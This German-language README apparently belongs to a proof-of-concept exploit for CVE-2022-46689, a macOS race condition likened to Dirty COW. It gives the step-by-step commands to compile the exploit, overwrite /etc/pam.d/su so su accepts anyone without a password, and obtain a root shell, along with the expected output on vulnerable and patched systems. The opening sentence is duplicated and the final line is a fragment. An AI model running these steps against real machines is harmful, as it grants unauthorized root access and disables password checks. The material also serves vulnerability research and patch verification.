
Erlange Root-Rechte auf macOS 13.0.1 mit CVE-2022-46689 (das macOS-Äquivalent des Dirty-Cow-Bugs), mithilfe des aus Apples XNU-Quellcode extrahierten Testfalls.
Verschaffe dir Root-Rechte auf macOS 13.0.1 mit CVE-2022-46689 (dem macOS-Äquivalent des Dirty-Cow-Bugs) unter Verwendung des aus Apples XNU-Quellcode extrahierten Testfalls.
https://worthdoingbadly.com/macdirtycow/
Führe auf einem Rechner mit macOS 13.0.1 / 12.6.1 (oder älter) Folgendes aus:
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
Erwartete Ausgabe:
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#
Getestet auf macOS 13 Beta (22A5266r) mit deaktiviertem SIP (es sollte auch bei aktiviertem SIP funktionieren).
Wenn dein System vollständig gepatcht ist (macOS 13.1 / 12.6.2), sollte die Ausgabe stattdessen wie folgt aussehen:
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
und su sollte weiterhin nach einem Passwort fragen.
Dank des Sealed System Volume wird bei der Ausführung auf einer beliebigen Datei auf dem /System-Volume die Datei nur vorübergehend verändert: Nach einem Neustart wird die Änderung rückgängig gemacht. Bei der Ausführung auf einer Datei auf einem beschreibbaren Volume bleibt die Änderung auch nach einem Neustart erhalten.
/etc/pam.d zu deaktivieren.